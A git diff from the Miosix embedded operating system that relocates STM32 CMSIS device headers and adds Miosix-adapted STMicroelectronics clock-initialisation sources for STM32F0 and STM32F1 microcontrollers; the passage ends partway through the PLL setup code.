a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f091xc.h b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f091xc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f091xc.h rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f091xc.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f098xx.h b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f098xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f098xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f098xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f0xx.h b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f0xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/stm32f0xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/stm32f0xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/system_stm32f0xx.h b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/system_stm32f0xx.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Include/system_stm32f0xx.h rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Include/system_stm32f0xx.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/LICENSE.md b/miosix/arch/CMSIS/Device/ST/STM32F0xx/LICENSE.md similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/LICENSE.md rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/LICENSE.md diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Release_Notes.html b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Release_Notes.html similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Release_Notes.html rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/Release_Notes.html diff --git a/miosix/arch/CMSIS/Device/ST/STM32F0xx/Source/Templates/system_stm32f0xx.cpp b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Source/Templates/system_stm32f0xx.cpp new file mode 100644 index 000000000..1c2ac1eb3 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32F0xx/Source/Templates/system_stm32f0xx.cpp @@ -0,0 +1,252 @@ +/** + ****************************************************************************** + * @file system_stm32f0xx.c + * @author MCD Application Team + * @brief CMSIS Cortex-M0 Device Peripheral Access Layer System Source File. + * + * 1. This file provides two functions and one global variable to be called from + * user application: + * - SystemInit(): This function is called at startup just after reset and + * before branch to main program. This call is made inside + * the "startup_stm32f0xx.s" file. + * + * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used + * by the user application to setup the SysTick + * timer or configure other parameters. + * + * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must + * be called whenever the core clock is changed + * during program execution. + * + * + ****************************************************************************** + * @attention + * + * Copyright (c) 2016 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + */ +/** @addtogroup CMSIS + * @{ + */ + +/** @addtogroup stm32f0xx_system + * @{ + */ + +/** @addtogroup STM32F0xx_System_Private_Includes + * @{ + */ + +#include "board_settings.h" +// By redman: was #include "stm32f0xx.h", but the specific chip is #defined in +// arch_registers_impl.h +#include "interfaces/arch_registers.h" + +/** + * @} + */ + +/** @addtogroup STM32F0xx_System_Private_TypesDefinitions + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32F0xx_System_Private_Defines + * @{ + */ + +#if !defined (HSI_VALUE) + #define HSI_VALUE ((uint32_t)8000000) /*!< Default value of the Internal oscillator in Hz. + This value can be provided and adapted by the user application. */ +#endif /* HSI_VALUE */ + +#if !defined (HSI48_VALUE) +#define HSI48_VALUE ((uint32_t)48000000) /*!< Default value of the HSI48 Internal oscillator in Hz. + This value can be provided and adapted by the user application. */ +#endif /* HSI48_VALUE */ +/** + * @} + */ + +/** @addtogroup STM32F0xx_System_Private_Macros + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32F0xx_System_Private_Variables + * @{ + */ + /* This variable is updated in three ways: + 1) by calling CMSIS function SystemCoreClockUpdate() + 2) by calling HAL API function HAL_RCC_GetHCLKFreq() + 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency + Note: If you use this function to configure the system clock; then there + is no need to call the 2 first functions listed above, since SystemCoreClock + variable is updated automatically. + */ +uint32_t SystemCoreClock = miosix::cpuFrequency; + +const uint8_t AHBPrescTable[16] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 6, 7, 8, 9}; +const uint8_t APBPrescTable[8] = {0, 0, 0, 0, 1, 2, 3, 4}; + +/** + * @} + */ + +/** @addtogroup STM32F0xx_System_Private_FunctionPrototypes + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32F0xx_System_Private_Functions + * @{ + */ + +/** + * @brief Setup the microcontroller system + * @param None + * @retval None + */ +void SystemInit(void) +{ + /* NOTE :SystemInit(): This function is called at startup just after reset and + before branch to main program. This call is made inside + the "startup_stm32f0xx.s" file. + User can setups the default system clock (System clock source, PLL Multiplier + and Divider factors, AHB/APBx prescalers and Flash settings). + */ +} + +/** + * @brief Update SystemCoreClock variable according to Clock Register Values. + * The SystemCoreClock variable contains the core clock (HCLK), it can + * be used by the user application to setup the SysTick timer or configure + * other parameters. + * + * @note Each time the core clock (HCLK) changes, this function must be called + * to update SystemCoreClock variable value. Otherwise, any configuration + * based on this variable will be incorrect. + * + * @note - The system frequency computed by this function is not the real + * frequency in the chip. It is calculated based on the predefined + * constant and the selected clock source: + * + * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(*) + * + * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(**) + * + * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(**) + * or HSI_VALUE(*) multiplied/divided by the PLL factors. + * + * - If SYSCLK source is HSI48, SystemCoreClock will contain the HSI48_VALUE(***) + * + * (*) HSI_VALUE is a constant defined in stm32f0xx_hal_conf.h file (default value + * 8 MHz) but the real value may vary depending on the variations + * in voltage and temperature. + * + * (**) HSE_VALUE is a constant defined in stm32f0xx_hal_conf.h file (its value + * depends on the application requirements), user has to ensure that HSE_VALUE + * is same as the real frequency of the crystal used. Otherwise, this function + * may have wrong result. + * + * (***) HSI48_VALUE is a constant defined in stm32f0xx_hal_conf.h file (default value + * 48 MHz) but the real value may vary depending on the variations + * in voltage and temperature. + * + * - The result of this function could be not correct when using fractional + * value for HSE crystal. + * + * @param None + * @retval None + */ +void SystemCoreClockUpdate (void) +{ + uint32_t tmp = 0, pllmull = 0, pllsource = 0, predivfactor = 0; + + /* Get SYSCLK source -------------------------------------------------------*/ + tmp = RCC->CFGR & RCC_CFGR_SWS; + + switch (tmp) + { + case RCC_CFGR_SWS_HSI: /* HSI used as system clock */ + SystemCoreClock = HSI_VALUE; + break; + case RCC_CFGR_SWS_HSE: /* HSE used as system clock */ + SystemCoreClock = miosix::hseFrequency; + break; + case RCC_CFGR_SWS_PLL: /* PLL used as system clock */ + /* Get PLL clock source and multiplication factor ----------------------*/ + pllmull = RCC->CFGR & RCC_CFGR_PLLMUL; + pllsource = RCC->CFGR & RCC_CFGR_PLLSRC; + pllmull = ( pllmull >> 18) + 2; + predivfactor = (RCC->CFGR2 & RCC_CFGR2_PREDIV) + 1; + + if (pllsource == RCC_CFGR_PLLSRC_HSE_PREDIV) + { + /* HSE used as PLL clock source : SystemCoreClock = HSE/PREDIV * PLLMUL */ + // Miosix: first multiply and then divide to fix numerical precision + SystemCoreClock = (miosix::hseFrequency*pllmull)/predivfactor; + } +#if defined(STM32F042x6) || defined(STM32F048xx) || defined(STM32F071xB) || defined(STM32F072xB) || defined(STM32F078xx) || defined(STM32F091xC) || defined(STM32F098xx) + else if (pllsource == RCC_CFGR_PLLSRC_HSI48_PREDIV) + { + /* HSI48 used as PLL clock source : SystemCoreClock = HSI48/PREDIV * PLLMUL */ + // Miosix: first multiply and then divide to fix numerical precision + SystemCoreClock = (HSI48_VALUE*pllmull)/predivfactor; + } +#endif /* STM32F042x6 || STM32F048xx || STM32F071xB || STM32F072xB || STM32F078xx || STM32F091xC || STM32F098xx */ + else + { +#if defined(STM32F042x6) || defined(STM32F048xx) || defined(STM32F070x6) \ + || defined(STM32F078xx) || defined(STM32F071xB) || defined(STM32F072xB) \ + || defined(STM32F070xB) || defined(STM32F091xC) || defined(STM32F098xx) || defined(STM32F030xC) + /* HSI used as PLL clock source : SystemCoreClock = HSI/PREDIV * PLLMUL */ + // Miosix: first multiply and then divide to fix numerical precision + SystemCoreClock = (HSI_VALUE*pllmull)/predivfactor; +#else + /* HSI used as PLL clock source : SystemCoreClock = HSI/2 * PLLMUL */ + // Miosix: first multiply and then divide to fix numerical precision + SystemCoreClock = (HSI_VALUE*pllmull)/2; +#endif /* STM32F042x6 || STM32F048xx || STM32F070x6 || + STM32F071xB || STM32F072xB || STM32F078xx || STM32F070xB || + STM32F091xC || STM32F098xx || STM32F030xC */ + } + break; + default: /* HSI used as system clock */ + SystemCoreClock = HSI_VALUE; + break; + } + /* Compute HCLK clock frequency ----------------*/ + /* Get HCLK prescaler */ + tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> 4)]; + /* HCLK clock frequency */ + SystemCoreClock >>= tmp; +} + +/** + * @} + */ + +/** + * @} + */ + +/** + * @} + */ + diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/miosix_patches.patch b/miosix/arch/CMSIS/Device/ST/STM32F0xx/miosix_patches.patch similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F0xx/miosix_patches.patch rename to miosix/arch/CMSIS/Device/ST/STM32F0xx/miosix_patches.patch diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F1xx/Include/stm32f100xb.h b/miosix/arch/CMSIS/Device/ST/STM32F1xx/Include/stm32f100xb.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F1xx/Include/stm32f100xb.h rename to miosix/arch/CMSIS/Device/ST/STM32F1xx/Include/stm32f100xb.h diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F1xx/Include/stm32f100xe.h b/miosix/arch/CMSIS/Device/ST/STM32F1xx/Include/stm32f100xe.h similarity index 100% rename from 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miosix/arch/CMSIS/Device/ST/STM32F1xx/License.md diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F1xx/Release_Notes.html b/miosix/arch/CMSIS/Device/ST/STM32F1xx/Release_Notes.html similarity index 100% rename from miosix/arch/common/CMSIS/Device/ST/STM32F1xx/Release_Notes.html rename to miosix/arch/CMSIS/Device/ST/STM32F1xx/Release_Notes.html diff --git a/miosix/arch/CMSIS/Device/ST/STM32F1xx/Source/Templates/system_stm32f1xx.cpp b/miosix/arch/CMSIS/Device/ST/STM32F1xx/Source/Templates/system_stm32f1xx.cpp new file mode 100644 index 000000000..4c2963601 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32F1xx/Source/Templates/system_stm32f1xx.cpp @@ -0,0 +1,659 @@ + +// +// This file has been modified by TFT!!! Changes are highlighted with "By TFT:" +// + +/** + ****************************************************************************** + * @file system_stm32f10x.c + * @author MCD Application Team + * @version V3.5.0 + * @date 11-March-2011 + * @brief CMSIS Cortex-M3 Device Peripheral Access Layer System Source File. + * + * 1. This file provides two functions and one global variable to be called from + * user application: + * - SystemInit(): Setups the system clock (System clock source, PLL Multiplier + * factors, AHB/APBx prescalers and Flash settings). + * This function is called at startup just after reset and + * before branch to main program. This call is made inside + * the "startup_stm32f10x_xx.s" file. + * + * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used + * by the user application to setup the SysTick + * timer or configure other parameters. + * + * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must + * be called whenever the core clock is changed + * during program execution. + * + * 2. After each device reset the HSI (8 MHz) is used as system clock source. + * Then SystemInit() function is called, in "startup_stm32f10x_xx.s" file, to + * configure the system clock before to branch to main program. + * + * 3. If the system clock source selected by user fails to startup, the SystemInit() + * function will do nothing and HSI still used as system clock source. User can + * add some code to deal with this issue inside the SetSysClock() function. + * + * 4. The default value of HSE crystal is set to 8 MHz (or 25 MHz, depedning on + * the product used), refer to "HSE_VALUE" define in "stm32f10x.h" file. + * When HSE is used as system clock source, directly or through PLL, and you + * are using different crystal you have to adapt the HSE value to your own + * configuration. + * + ****************************************************************************** + * @attention + * + * THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS + * WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE + * TIME. AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY + * DIRECT, INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING + * FROM THE CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE + * CODING INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS. + * + *

© COPYRIGHT 2011 STMicroelectronics

+ ****************************************************************************** + */ + +/** @addtogroup CMSIS + * @{ + */ + +/** @addtogroup stm32f10x_system + * @{ + */ + +/** @addtogroup STM32F10x_System_Private_Includes + * @{ + */ + +//By TFT: was #include "stm32f10x.h" +#include "interfaces/arch_registers.h" +#include "board_settings.h" + +/** + * @} + */ + +/** @addtogroup STM32F10x_System_Private_TypesDefinitions + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32F10x_System_Private_Defines + * @{ + */ + +/*!< Uncomment the line corresponding to the desired System clock (SYSCLK) + frequency (after reset the HSI is used as SYSCLK source) + + IMPORTANT NOTE: + ============== + 1. After each device reset the HSI is used as System clock source. + + 2. Please make sure that the selected System clock doesn't exceed your device's + maximum frequency. + + 3. If none of the define below is enabled, the HSI is used as System clock + source. + + 4. The System clock configuration functions provided within this file assume that: + - For Low, Medium and High density Value line devices an external 8MHz + crystal is used to drive the System clock. + - For Low, Medium and High density devices an external 8MHz crystal is + used to drive the System clock. + - For Connectivity line devices an external 25MHz crystal is used to drive + the System clock. + If you are using different crystal you have to adapt those functions accordingly. + */ + +//By TFT: Definition moved to board_settings.h to allow easily changing clock frequency +// Since Miosix 3 the following constants are used instead: +// - oscillatorType (OscillatorType::HSI or OscillatorType::HSE) +// - hseFrequency (in Hz) +// - cpuFrequency (in Hz) +// cpuFrequency equal to HSI_VALUE or hseFrequency (depending on +// oscillatorType) will disable the PLL +#if 0 +#if defined (STM32F10X_LD_VL) || (defined STM32F10X_MD_VL) || (defined STM32F10X_HD_VL) +/* #define SYSCLK_FREQ_HSE HSE_VALUE */ +#define SYSCLK_FREQ_24MHz 24000000 +#else +/* #define SYSCLK_FREQ_HSE HSE_VALUE */ +/* #define SYSCLK_FREQ_24MHz 24000000 */ +/* #define SYSCLK_FREQ_36MHz 36000000 */ +/* #define SYSCLK_FREQ_48MHz 48000000 */ +/* #define SYSCLK_FREQ_56MHz 56000000 */ +#define SYSCLK_FREQ_72MHz 72000000 +#endif +#endif + +/*!< Uncomment the following line if you need to use external SRAM mounted + on STM3210E-EVAL board (STM32 High density and XL-density devices) or on + STM32100E-EVAL board (STM32 High-density value line devices) as data memory */ +#if defined (STM32F10X_HD) || (defined STM32F10X_XL) || (defined STM32F10X_HD_VL) +//By TFT: Miosix uses the __ENABLE_XRAM macro to tell the startup code it wants XRAM +#ifdef __ENABLE_XRAM +#define DATA_IN_ExtSRAM +#endif //__ENABLE_XRAM +#endif + +/*!< Uncomment the following line if you need to relocate your vector Table in + Internal SRAM. */ +/* #define VECT_TAB_SRAM */ +#define VECT_TAB_OFFSET 0x0 /*!< Vector Table base offset field. + This value must be a multiple of 0x200. */ + + +/** + * @} + */ + +/** @addtogroup STM32F10x_System_Private_Macros + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32F10x_System_Private_Variables + * @{ + */ + +/******************************************************************************* +* Clock Definitions +*******************************************************************************/ + +// Miosix begin +// These defines used to be in stm32f10x.h. +//#if !defined HSE_VALUE +// #ifdef STM32F10X_CL +// #define HSE_VALUE ((uint32_t)25000000) /*!< Value of the External oscillator in Hz */ +// #else +// #define HSE_VALUE ((uint32_t)8000000) /*!< Value of the External oscillator in Hz */ +// #endif /* STM32F10X_CL */ +//#endif /* HSE_VALUE */ +// Since Miosix 3.0 there is no default for HSE_VALUE anymore, it must be defined in board_settings.h + +#define HSE_STARTUP_TIMEOUT ((uint16_t)0x0500) /*!< Time out for HSE start up */ +#define HSI_VALUE ((uint32_t)8000000) /*!< Value of the Internal oscillator in Hz*/ +// Miosix end + +uint32_t SystemCoreClock = miosix::cpuFrequency; /*!< System Clock Frequency (Core Clock) */ + +const uint8_t AHBPrescTable[16] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 6, 7, 8, 9}; +/** + * @} + */ + +/** @addtogroup STM32F10x_System_Private_FunctionPrototypes + * @{ + */ + +/*static*/ void SetSysClock(void); + +#ifdef DATA_IN_ExtSRAM + static void SystemInit_ExtMemCtl(void); +#endif /* DATA_IN_ExtSRAM */ + +/** + * @} + */ + +/** @addtogroup STM32F10x_System_Private_Functions + * @{ + */ + +/** + * @brief Setup the microcontroller system + * Initialize the Embedded Flash Interface, the PLL and update the + * SystemCoreClock variable. + * @note This function should be used only after reset. + * @param None + * @retval None + */ +void SystemInit (void) +{ + /* Reset the RCC clock configuration to the default reset state(for debug purpose) */ + /* Set HSION bit */ + RCC->CR |= (uint32_t)0x00000001; + + /* Reset SW, HPRE, PPRE1, PPRE2, ADCPRE and MCO bits */ +#ifndef STM32F10X_CL + RCC->CFGR &= (uint32_t)0xF8FF0000; +#else + RCC->CFGR &= (uint32_t)0xF0FF0000; +#endif /* STM32F10X_CL */ + + /* Reset HSEON, CSSON and PLLON bits */ + RCC->CR &= (uint32_t)0xFEF6FFFF; + + /* Reset HSEBYP bit */ + RCC->CR &= (uint32_t)0xFFFBFFFF; + + /* Reset PLLSRC, PLLXTPRE, PLLMUL and USBPRE/OTGFSPRE bits */ + RCC->CFGR &= (uint32_t)0xFF80FFFF; + +#ifdef STM32F10X_CL + /* Reset PLL2ON and PLL3ON bits */ + RCC->CR &= (uint32_t)0xEBFFFFFF; + + /* Disable all interrupts and clear pending bits */ + RCC->CIR = 0x00FF0000; + + /* Reset CFGR2 register */ + RCC->CFGR2 = 0x00000000; +#elif defined (STM32F10X_LD_VL) || defined (STM32F10X_MD_VL) || (defined STM32F10X_HD_VL) + /* Disable all interrupts and clear pending bits */ + RCC->CIR = 0x009F0000; + + /* Reset CFGR2 register */ + RCC->CFGR2 = 0x00000000; +#else + /* Disable all interrupts and clear pending bits */ + RCC->CIR = 0x009F0000; +#endif /* STM32F10X_CL */ + +#if defined (STM32F10X_HD) || (defined STM32F10X_XL) || (defined STM32F10X_HD_VL) + #ifdef DATA_IN_ExtSRAM + SystemInit_ExtMemCtl(); + #endif /* DATA_IN_ExtSRAM */ +#endif + + /* Configure the System clock frequency, HCLK, PCLK2 and PCLK1 prescalers */ + /* Configure the Flash Latency cycles and enable prefetch buffer */ + SetSysClock(); + +#ifdef VECT_TAB_SRAM + SCB->VTOR = SRAM_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal SRAM. */ +#else + SCB->VTOR = FLASH_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal FLASH. */ +#endif +} + +/** + * @brief Update SystemCoreClock variable according to Clock Register Values. + * The SystemCoreClock variable contains the core clock (HCLK), it can + * be used by the user application to setup the SysTick timer or configure + * other parameters. + * + * @note Each time the core clock (HCLK) changes, this function must be called + * to update SystemCoreClock variable value. Otherwise, any configuration + * based on this variable will be incorrect. + * + * @note - The system frequency computed by this function is not the real + * frequency in the chip. It is calculated based on the predefined + * constant and the selected clock source: + * + * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(*) + * + * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(**) + * + * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(**) + * or HSI_VALUE(*) multiplied by the PLL factors. + * + * (*) HSI_VALUE is a constant defined in stm32f1xx.h file (default value + * 8 MHz) but the real value may vary depending on the variations + * in voltage and temperature. + * + * (**) HSE_VALUE is a constant defined in stm32f1xx.h file (default value + * 8 MHz or 25 MHz, depedning on the product used), user has to ensure + * that HSE_VALUE is same as the real frequency of the crystal used. + * Otherwise, this function may have wrong result. + * + * - The result of this function could be not correct when using fractional + * value for HSE crystal. + * @param None + * @retval None + */ +void SystemCoreClockUpdate (void) +{ + uint32_t tmp = 0, pllmull = 0, pllsource = 0; + +#ifdef STM32F10X_CL + uint32_t prediv1source = 0, prediv1factor = 0, prediv2factor = 0, pll2mull = 0; +#endif /* STM32F10X_CL */ + +#if defined (STM32F10X_LD_VL) || defined (STM32F10X_MD_VL) || (defined STM32F10X_HD_VL) + uint32_t prediv1factor = 0; +#endif /* STM32F10X_LD_VL or STM32F10X_MD_VL or STM32F10X_HD_VL */ + + /* Get SYSCLK source -------------------------------------------------------*/ + tmp = RCC->CFGR & RCC_CFGR_SWS; + + switch (tmp) + { + case 0x00: /* HSI used as system clock */ + SystemCoreClock = HSI_VALUE; + break; + case 0x04: /* HSE used as system clock */ + SystemCoreClock = miosix::hseFrequency; + break; + case 0x08: /* PLL used as system clock */ + + /* Get PLL clock source and multiplication factor ----------------------*/ + pllmull = RCC->CFGR & RCC_CFGR_PLLMULL; + pllsource = RCC->CFGR & RCC_CFGR_PLLSRC; + +#ifndef STM32F10X_CL + pllmull = ( pllmull >> 18) + 2; + + if (pllsource == 0x00) + { + /* HSI oscillator clock divided by 2 selected as PLL clock entry */ + SystemCoreClock = (HSI_VALUE >> 1) * pllmull; + } + else + { + #if defined (STM32F10X_LD_VL) || defined (STM32F10X_MD_VL) || (defined STM32F10X_HD_VL) + prediv1factor = (RCC->CFGR2 & RCC_CFGR2_PREDIV1) + 1; + /* HSE oscillator clock selected as PREDIV1 clock entry */ + SystemCoreClock = (miosix::hseFrequency / prediv1factor) * pllmull; + #else + /* HSE selected as PLL clock entry */ + if ((RCC->CFGR & RCC_CFGR_PLLXTPRE) != (uint32_t)RESET) + {/* HSE oscillator clock divided by 2 */ + SystemCoreClock = (miosix::hseFrequency >> 1) * pllmull; + } + else + { + SystemCoreClock = miosix::hseFrequency * pllmull; + } + #endif + } +#else + pllmull = pllmull >> 18; + + if (pllmull != 0x0D) + { + pllmull += 2; + } + else + { /* PLL multiplication factor = PLL input clock * 6.5 */ + pllmull = 13 / 2; + } + + if (pllsource == 0x00) + { + /* HSI oscillator clock divided by 2 selected as PLL clock entry */ + SystemCoreClock = (HSI_VALUE >> 1) * pllmull; + } + else + {/* PREDIV1 selected as PLL clock entry */ + + /* Get PREDIV1 clock source and division factor */ + prediv1source = RCC->CFGR2 & RCC_CFGR2_PREDIV1SRC; + prediv1factor = (RCC->CFGR2 & RCC_CFGR2_PREDIV1) + 1; + + if (prediv1source == 0) + { + /* HSE oscillator clock selected as PREDIV1 clock entry */ + SystemCoreClock = (miosix::hseFrequency / prediv1factor) * pllmull; + } + else + {/* PLL2 clock selected as PREDIV1 clock entry */ + + /* Get PREDIV2 division factor and PLL2 multiplication factor */ + prediv2factor = ((RCC->CFGR2 & RCC_CFGR2_PREDIV2) >> 4) + 1; + pll2mull = ((RCC->CFGR2 & RCC_CFGR2_PLL2MUL) >> 8 ) + 2; + SystemCoreClock = (((miosix::hseFrequency / prediv2factor) * pll2mull) / prediv1factor) * pllmull; + } + } +#endif /* STM32F10X_CL */ + break; + + default: + SystemCoreClock = HSI_VALUE; + break; + } + + /* Compute HCLK clock frequency ----------------*/ + /* Get HCLK prescaler */ + tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> 4)]; + /* HCLK clock frequency */ + SystemCoreClock >>= tmp; +} + +/** + * @brief Sets System clock frequency to miosix::cpuFrequency and configure + * HCLK, PCLK2 and PCLK1 prescalers. + * @note This function should be used only after reset. + * @param None + * @retval None + */ +void SetSysClock(void) +{ + uint32_t StartUpCounter = 0; + (void)StartUpCounter; + + static_assert(miosix::oscillatorType==miosix::OscillatorType::HSE + || miosix::oscillatorType==miosix::OscillatorType::HSI, + "Oscillator type unsupported"); + static_assert(!(miosix::oscillatorType==miosix::OscillatorType::HSI + && miosix::cpuFrequency>36000000), + "sysclk is capped to 36MHz when running on HSI"); + static_assert(miosix::oscillatorType!=miosix::OscillatorType::HSE + || miosix::hseFrequency>1000000, + "Unlikely HSE frequency"); + static_assert(miosix::cpuFrequency==HSI_VALUE + || miosix::cpuFrequency==miosix::hseFrequency + || miosix::cpuFrequency==24000000 + || miosix::cpuFrequency==36000000 + || miosix::cpuFrequency==48000000 + || miosix::cpuFrequency==56000000 + || miosix::cpuFrequency==72000000, + "sysclk frequency unsupported"); + unsigned int oscFreq=HSI_VALUE; + if(miosix::oscillatorType==miosix::OscillatorType::HSE) //By TFT + { + /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ + /* Enable HSE */ + RCC->CR |= ((uint32_t)RCC_CR_HSEON); + + /* Wait till HSE is ready and if Time out is reached exit */ + unsigned int HSEStatus; + do + { + HSEStatus = RCC->CR & RCC_CR_HSERDY; + StartUpCounter++; + } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); + + if ((RCC->CR & RCC_CR_HSERDY) != RESET) oscFreq=miosix::hseFrequency; + else { + // Ohmygod HSE failed to start up! What do we do now? + return; // Nothing I guess? + } + } else { + // HSI + oscFreq=HSI_VALUE; + } + +#if !defined STM32F10X_LD_VL && !defined STM32F10X_MD_VL && !defined STM32F10X_HD_VL + /* Enable Prefetch Buffer */ + FLASH->ACR |= FLASH_ACR_PRFTBE; + + // Configure Flash wait states + unsigned int flashLatency; + if(miosix::cpuFrequency<=24000000) flashLatency=0; + else if(miosix::cpuFrequency<=48000000) flashLatency=1; + else flashLatency=2; + //NOTE: the value of the constant FLASH_ACR_LATENCY_0 changed from meaning + //"0 wait states" to meaning "bit 0", thus 1 wait states, so don't use it! + FLASH->ACR = (FLASH->ACR & ~FLASH_ACR_LATENCY_Msk) | (flashLatency<CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; + + /* PCLK2 = HCLK */ + RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; + + /* PCLK1 = HCLK or HCLK/2 (must not exceed 36MHz) */ + if(miosix::cpuFrequency<=36000000) RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV1; + else RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV2; + + if(oscFreq==miosix::cpuFrequency && miosix::oscillatorType==miosix::OscillatorType::HSE) + { + /* Select HSE as system clock source */ + RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); + RCC->CFGR |= (uint32_t)RCC_CFGR_SW_HSE; + + /* Wait till HSE is used as system clock source */ + while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x04) + { + } + return; + } else if(oscFreq==miosix::cpuFrequency && miosix::oscillatorType==miosix::OscillatorType::HSI) { + // Nothing to do here, it's the default after reset + return; + } + // Otherwise we need to configure the PLL + + unsigned int pllmull; + + if(miosix::cpuFrequency==24000000) pllmull=RCC_CFGR_PLLMULL6; + else if(miosix::cpuFrequency==36000000) pllmull=RCC_CFGR_PLLMULL9; + else if(miosix::cpuFrequency==48000000) pllmull=RCC_CFGR_PLLMULL6; + else if(miosix::cpuFrequency==56000000) pllmull=RCC_CFGR_PLLMULL7; + else /*if(miosix::cpuFrequency==72000000)*/ pllmull=RCC_CFGR_PLLMULL9; +#ifdef STM32F10X_CL + if(oscillatorType==OscillatorType::HSE) + { + unsigned int prediv1; + if(miosix::cpuFrequency<=36000000) prediv1=RCC_CFGR2_PREDIV1_DIV10; + else prediv1=RCC_CFGR2_PREDIV1_DIV5; + /* Configure PLLs ------------------------------------------------------*/ + /* PLL2 configuration: PLL2CLK = (HSE / 5) * 8 = 40 MHz */ + /* PREDIV1 configuration: PREDIV1CLK = PLL2 / prediv1 = 4/8 MHz */ + RCC->CFGR2 &= (uint32_t)~(RCC_CFGR2_PREDIV2 | RCC_CFGR2_PLL2MUL | + RCC_CFGR2_PREDIV1 | RCC_CFGR2_PREDIV1SRC); + RCC->CFGR2 |= (uint32_t)(RCC_CFGR2_PREDIV2_DIV5 | RCC_CFGR2_PLL2MUL8 | + RCC_CFGR2_PREDIV1SRC_PLL2 | prediv1); + + /* Enable PLL2 */ + RCC->CR |= RCC_CR_PLL2ON; + /* Wait till PLL2 is ready */ + while((RCC->CR & RCC_CR_PLL2RDY) == 0) + { + } + } + + /* PLL configuration: PLLCLK = PREDIV1 * pllmull = sysclk MHz */ + RCC->CFGR &= (uint32_t)~(RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLSRC | RCC_CFGR_PLLMULL); + RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC | pllmull); +#else + unsigned int pllxtpre; + if(miosix::cpuFrequency<=36000000) pllxtpre=RCC_CFGR_PLLXTPRE; + else pllxtpre=0; + // PLL configuration: = (HSE / x) * pllmull = sysclk MHz + // x is 2 if pllxtpre==RCC_CFGR_PLLXTPRE else 1 + RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL)); 